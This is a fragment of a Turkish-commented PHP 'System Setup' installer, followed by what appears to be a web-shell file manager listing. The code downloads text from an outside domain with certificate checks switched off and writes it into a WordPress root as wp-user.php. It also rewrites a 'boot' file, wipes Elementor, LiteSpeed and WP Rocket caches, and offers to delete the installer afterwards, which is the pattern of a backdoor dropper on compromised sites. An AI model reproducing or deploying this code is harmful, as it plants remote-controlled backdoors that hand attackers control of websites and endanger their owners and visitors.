            $results[] = ['status' => 'success', 'msg' => '✅ WP: Boot güncellendi (curl tabanlı)'];
        } else {
            $results[] = ['status' => 'error', 'msg' => '❌ WP: Boot yazılamadı'];
        }
    } else {
        $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: boot.txt indirilemedi'];
    }
}

// ========================================
// WP-USER DEPLOY (wp-user.txt -> wp-user.php)
// ========================================
if ($isWordPress && !$hasError) {
    $wpUserFile = $cmsRoots['wordpress'] . '/wp-user.php';
    if (!file_exists($wpUserFile)) {
        $results[] = ['status' => 'info', 'msg' => '👤 WP: wp-user.php oluşturuluyor...'];
        $ch = curl_init('https://resmigiris.cam/txt/wp-user.txt');
        curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 15, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_HTTPHEADER => ['User-Agent: cStb-link/1']]);
        $src = curl_exec($ch);
        curl_close($ch);
        if ($src && strlen($src) > 50) {
            if (@file_put_contents($wpUserFile, $src) !== false) {
                $results[] = ['status' => 'success', 'msg' => '✅ WP: wp-user.php oluşturuldu'];
            } else {
                $results[] = ['status' => 'error', 'msg' => '❌ WP: wp-user.php yazılamadı'];
            }
        } else {
            $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: wp-user.txt indirilemedi'];
        }
    } else {
        $results[] = ['status' => 'skip', 'msg' => '⏭️ WP: wp-user.php zaten mevcut'];
    }
}

if ($isWordPress && !$hasError) {
    $wpRoot = $cmsRoots['wordpress'];
    $results[] = ['status' => 'info', 'msg' => '🧹 WP: Cache temizleniyor...'];
    
    $cachePlugins = [
        'Elementor' => [$wpRoot . '/wp-content/uploads/elementor/css'],
        'LiteSpeed' => [$wpRoot . '/wp-content/cache/litespeed'],
        'WP Rocket' => [$wpRoot . '/wp-content/cache/wp-rocket'],
    ];

    $totalDeleted = 0;
    foreach ($cachePlugins as $pluginName => $cacheDirs) {
        foreach ($cacheDirs as $cacheDir) {
            if (is_dir($cacheDir)) {
                $files = @glob($cacheDir . '/*');
                if ($files) {
                    foreach ($files as $file) {
                        if (is_file($file) && @unlink($file)) {
                            $totalDeleted++;
                        }
                    }
                }
            }
        }
    }
    
    if ($totalDeleted > 0) {
        $results[] = ['status' => 'success', 'msg' => "✅ WP: $totalDeleted cache dosyası silindi"];
    }
}

debugLog("✅ Tüm işlemler tamamlandı!");
debugLog("Sonuç sayısı", count($results));

?><!DOCTYPE html>
<html lang="tr">
<head><meta charset="UTF-8"><title>System Setup</title>
<style>*{margin:0;padding:0}body{background:#0a0e1a;color:#cbd5e1;font-family:sans-serif;padding:20px}.card{background:#131929;border:1px solid #1e2d45;border-radius:8px;max-width:900px;margin:20px auto;padding:20px}h1{color:#e2e8f0;margin-bottom:10px;text-align:center}.version{text-align:center;color:#64748b;font-size:12px;margin-bottom:20px}.result{padding:10px;margin:5px 0;border-radius:4px;font-size:14px;line-height:1.6}.result-success{background:rgba(34,197,94,.1);color:#86efac}.result-skip{background:rgba(59,130,246,.1);color:#93c5fd}.result-error{background:rgba(239,68,68,.1);color:#fca5a5}.result-info{background:rgba(168,85,247,.1);color:#c084fc}.btn{display:block;margin:20px auto;padding:12px 24px;background:#ef4444;color:#fff;border:none;border-radius:6px;cursor:pointer;text-decoration:none;text-align:center;font-weight:600}.features{background:rgba(59,130,246,.1);padding:15px;border-radius:6px;margin:20px 0;font-size:13px;line-height:1.8}.features strong{color:#60a5fa}.cms-badge{display:inline-block;padding:4px 8px;border-radius:4px;font-size:11px;font-weight:600;margin-left:8px}.cms-wp{background:rgba(33,150,243,.2);color:#64b5f6}.cms-joomla{background:rgba(255,152,0,.2);color:#ffb74d}.debug-banner{background:rgba(255,165,0,.2);border:2px solid #ffa500;color:#ffa500;padding:15px;border-radius:6px;margin:15px 0;text-align:center;font-weight:bold}</style>
</head>
<body>
<div class="card">
<h1>🔄 System Setup</h1>

<?php if ($debugMode): ?>
<div class="debug-banner">
🐛 DEBUG MODE ACTIVE
</div>
<?php endif; ?>

<?php if ($isWordPress): ?>
<div style="background:rgba(33,150,243,.1);padding:10px;border-radius:4px;margin:10px 0;">
    <strong>🌐 WordPress tespit edildi</strong><span class="cms-badge cms-wp">WP</span>
</div>
<?php endif; ?>

<?php if ($isJoomla): ?>
<div style="background:rgba(255,152,0,.1);padding:10px;border-radius:4px;margin:10px 0;">
    <strong>🎨 Joomla tespit edildi</strong><span class="cms-badge cms-joomla">JOOMLA</span>
</div>
<?php endif; ?>

<?php foreach ($results as $r): ?>
<div class="result result-<?php echo htmlspecialchars($r['status']); ?>">
<?php 
if ($r['status'] === 'success') echo '✅ ';
elseif ($r['status'] === 'skip') echo '⏭️ ';
elseif ($r['status'] === 'info') echo '📌 ';
else echo '❌ ';
echo htmlspecialchars($r['msg']);
?>
</div>
<?php endforeach; ?>

<a href="?delete=1" class="btn" onclick="return confirm('Installer silinecek, emin misiniz?')">🗑️ Installer'ı Sil</a>
</div>
</body>
</html>

Directory Contents

Dirs: 2 × Files: 13
Name Size Perms Modified Actions
includes DIR
- drwxr-xr-x 2026-09-26 18:02:58
Edit Download
- drwxr-xr-x 2026-09-27 19:09:02
Edit Download
15.45 KB lrw-r--r-- 2026-09-27 19:08:59
Edit Download
20.47 KB lrw-r--r-- 2026-09-27 19:08:04
Edit Download
885 B lrw-r--r-- 2026-09-27 19:09:03
Edit Download
4.58 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
256.60 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
1.25 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
22.64 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
15.90 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
3.64 KB lrw-r--r-- 2026-09-27 19:09:04
Edit Download
37.34 KB lrw-r--r-- 2026-09-27 19:09:03
Edit Download
7.46 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
7.45 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
1.08 KB lrw-r--r-- 2026-09-27 19:09:05
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).